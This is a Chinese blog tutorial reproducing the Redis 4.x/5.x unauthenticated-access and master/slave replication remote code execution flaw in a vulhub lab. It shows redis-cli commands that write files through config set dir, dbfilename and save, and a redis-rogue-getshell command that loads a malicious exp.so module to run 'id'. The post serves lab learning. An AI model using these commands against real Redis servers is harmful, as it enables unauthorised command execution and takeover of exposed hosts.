Redis未授权访问漏洞实战

news2025/1/4 17:22:27

文章目录

    • 概述
    • Redis概述
      • Redis 介绍
      • Redis 简单使用
      • Redis未授权漏洞危害
    • 漏洞复现
      • 启动靶场环境
      • POC漏洞验证
      • EXP漏洞利用
    • 总结

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

概述

​ 本文章主要是针对于vulhub靶场中的Redis 4.x/5.x 主从复制导致的命令执行进行复现,部分复现步骤可以参考vulhub靶场,这里我提供了利用POC工具验证的步骤,相比vulhub更加详细简单。

漏洞原理

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

本篇文章需要用到的工具下载地址

POC验证工具:unauthorized_com-main

EXP利用工具:redis-rogue-getshell-master

Redis概述

在复现未授权访问漏洞之前,我们有必要先大致的了解一下Redis是什么,Redis的简单使用与Redis未授权访问漏洞的危害。

Redis 介绍

Redis 是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。

Redis 数据库经常用于Web 应用的缓存。

Redis 可以与文件系统进行交互。

Redis 监听TCP/6379

Redis 简单使用

Redis 未设置密码,客户端工具可以直接链接。

┌──(root㉿kali)-[~/…/vulhub/vulhub/redis/4-unacc]
└─# redis-cli -h 10.9.75.101
10.9.75.101:6379> set name yuanboss
OK
10.9.75.101:6379> get name
"yuanboss"
10.9.75.101:6379> config set dir /tmp/
OK
10.9.75.101:6379> config set dbfilename yuanboss.txt 
OK
10.9.75.101:6379> save
OK

Redis未授权漏洞危害

image-20230901184319687

漏洞复现

启动靶场环境

前往vulhub的redis/4-unacc目录执行以下命令启动靶场环境

docker-compose up -d

POC漏洞验证

通过我提供的POC验证工具对靶场的IP进行检测,查看是否具有未授权访问漏洞

image-20230901175612226

经过POC验证,存在redis未授权访问漏洞

EXP漏洞利用

通过我提供的EXP利用工具进行利用,由于这个靶场环境中的redis的版本范围是符合是是主从复制的,具有远程代码执行漏洞:

注意-r参数指的是目标的IP地址,-L是本机的IP地址,不要用本机的会换地址或者localhost

python3 redis-master.py -r 10.9.75.101 -p 6379 -L 10.9.75.101 -P 8888 -f RedisModulesSDK/exp.so -c "id" 

image-20230901181259340

可以看到我们利用RCE漏洞成功执行了linux中的 id命令

总结

​ 对于未授权访问漏洞,我们要具有敏锐的嗅觉,未授权访问一般都出现于中间件,比如 zookeeper,docker,redis,wordpress等中间件或者框架,看到这类的中间件或者框架,我们就应该想到是否不需要密码就能访问,这个时候我们就可以直接拿到我们的POC工具进行漏洞验证了,如果发现存在某个漏洞,我们就可以去网上找EXP或者自己编写EXP进行利用。

​ 所以未授权访问漏洞的本质其实就是中间件或者CMS框架没有这种密码,导致我们可以直接连接。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/982110.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JDK源码解析-ConcurrentHashMap

1. ConcurrentHashMap 思考:HashTable是线程安全的,为什么不推荐使用? HashTable是一个线程安全的类,它使用synchronized来锁住整张Hash表来实现线程安全,即每次锁住整张表让线程独占,相当于所有线程进行…

封装一个贡献度面板组件

说在前面 贡献度面板(Contribution Graph)是指在代码仓库中按时间展示每位开发者的提交情况的可视化图表。它会显示不同日期的提交次数,并用颜色的深浅表示提交的数量。 贡献度面板展现的好处有以下几点: 可视化展示&#xff1…

Linux常用命令——cpio命令

在线Linux命令查询工具 cpio 用来建立、还原备份档的工具程序 补充说明 cpio命令主要是用来建立或者还原备份档的工具程序,cpio命令可以复制文件到归档包中,或者从归档包中复制文件。 语法 cpio(选项)选项 -0或--null:接受新增列控制字…

Windows11 设置移动热点 共享WIFI无线上网

Windows11 设置移动热点 共享WIFI无线上网 打开设置 键盘同时按下 windows i 在设置中点击 网络和 internet 移动热点 编辑移动热点参数 移动热点无接入上网设备 移动热点接入上网设备

Leetcode.174 地下城游戏

题目链接 Leetcode.174 地下城游戏 hard 题目描述 恶魔们抓住了公主并将她关在了地下城 d u n g e o n dungeon dungeon 的 右下角 。地下城是由 m x n 个房间组成的二维网格。我们英勇的骑士最初被安置在 左上角 的房间里,他必须穿过地下城并通过对抗恶魔来拯救公…

【消息中间件】详解三大MQ:RabbitMQ、RocketMQ、Kafka

作者简介 前言 博主之前写过一个完整的MQ系列,包含RabbitMQ、RocketMQ、Kafka,从安装使用到底层机制、原理。专栏地址: https://blog.csdn.net/joker_zjn/category_12142400.html?spm1001.2014.3001.5482 本文是该系列的清单综述&#xf…

ChatGPT集锦

目录 1. 一条指令让ChatGPT变的更强大2. 对ChatGPT提问时,常见的10种错误描述3. Custom instructions如何设置1. 一条指令让ChatGPT变的更强大 在使用GPT的过程中,如何让AI更清晰地了解你的需求很重要?今天分享一个指令,可以让GPT成为你的好同事,与你一起分析和解决问题,…

MySQL数据库进阶实战:优化性能、提高安全性和实现高可用性

💂 个人网站:【工具大全】【游戏大全】【神级源码资源网】🤟 前端学习课程:👉【28个案例趣学前端】【400个JS面试题】💅 寻找学习交流、摸鱼划水的小伙伴,请点击【摸鱼学习交流群】 当涉及到MySQL数据库的进…

【2023年11月第四版教材】第10章《进度管理》(合集篇)

第10章《进度管理》(合集篇) 1 章节说明2 管理基础3 管理过程3.1 管理的过程★★★3.2 管理ITTO汇总★★★ 4 规划进度管理4.1 进度管理计划★★★5 定义活动5.1 滚动式规划★★★5.2 里程碑清单★★★ 6 排列活动顺序6.1 紧前关系绘图法★★★6.2 箭线图…

SpringMVC(一)

1.SpringMVC简介 1.1 什么是MVC MVC是一种软件架构的思想,将软件按照模型、视图、控制器来划分 M:Model,模型层,指工程中的JavaBean,作用是处理数据 JavaBean分为两类: 一类称为实体类Bean:专门存储业务逻辑的,如Student、Us…

mybatisplus多租户原理略解

概述 当前mybatisPlus版本 <dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-boot-starter</artifactId><version>3.5.3.2</version> </dependency>jdk版本&#xff1a;17 springboot版本&#xff1a;…

高速路自动驾驶功能HWP功能定义

一、功能定义 高速路自动驾驶功能HWP是指在一般畅通高速公路或城市快速路上驾驶员可以放开双手双脚&#xff0c;同时注意力可在较长时间内从驾驶环境中转移&#xff0c;做一些诸如看手机、接电话、看风景等活动&#xff0c;该系统最低工作速度为60kph。 如上两种不同环境和速度…

判断数据类型是否为时间区间pd.api.types.is_period_dtype()

【小白从小学Python、C、Java】 【计算机等考500强证书考研】 【Python-数据分析】 判断数据类型 是否为时间区间 pd.api.types.is_period_dtype() 选择题 下列说法错误的是? import pandas as pd a pd.Series(pd.period_range(2023-01-01, periods3)) print(【显示】a) p…

【Two Stream network (Tsn)】(二) 阅读笔记

贡献 将深度神经网络应用于视频动作识别的难点&#xff0c;是如何同时利用好静止图像上的 appearance information以及物体之间的运动信息motion information。本文主要有三点贡献&#xff1a; 1.提出了一种融合时间流和空间流的双流网络&#xff1b; 2.证明了直接在光流上训…

IDEA运行Java代码报错Command line is too long

Error running xxx: Command line is too long. Shorten command line for xxx or also for Application default configuration.解决方案一 在项目下的.idea/workspace.xml 中 <component name“PropertiesComponent”> 标签下加入 <property name“dynamic.classpa…

学习笔记——Java入门第二季

1.1 介绍类与对象 类和对象的关系&#xff1a; 时间万物皆对象。对象是具体的事物&#xff0c;是类的具体事例 类是抽象的概念&#xff0c;是对象的模板。 new关键字是创建实例对象最重要的标志 Dog duoduonew Dog(); Dog luckynew Dog(); 这样就创建了两个对象并且在java内…

软件系统功能测试的依据

验收测试 一、软件系统功能测试的依据&#xff1a; 采用GB/T 25000.51-2016系统与软件工程系统与软件质量要求和评价(SQuaRE)第51部分&#xff1a;就绪可用软件产品(RUSP)作为测试依据 二、常用功能测试方法&#xff1a; 界面测试 是指对使用界面的软件进行的软件测试&…

Docker 搭建Redis 集群之路

前言 搞技术就是动手&#xff0c;动手再动手&#xff0c;实践出真知&#xff0c;毕竟最终是要解决问题的呢&#xff0c;废话不多讲&#xff0c;开搞&#xff0c;主要是为了记录一下&#xff0c;毕竟过程还是有点艰辛呢需求&#xff08;target&#xff09; Windows 电脑 装一个…

网络层重点协议-IP协议(结构分析)

IP协议数据报格式 一.4位版本号 用来表示IP协议的版本&#xff0c;现有的IP协议只有两个版本IPv4和IPv6 二.4位首部长度 IP协议数据报报头的长度 三.8位服务类型 3位优先权字段&#xff08;已经弃用&#xff09;&#xff0c;4位TOS字段&#xff0c;和1位保留 字段&#xff08;必…

分享 8 个 VSCode 插件,提升你的编码体验

大多数开发者都在不断寻找让开发工作更轻松的方法&#xff0c;我也是如此。合适的工具可以帮助你实现这一目标。 在本文中&#xff0c;我们将探讨我个人使用的八个扩展&#xff0c;以优化我的编码体验。让我们来看看这些扩展的列表&#xff0c;亲自体验它们如何改善你的编码体验…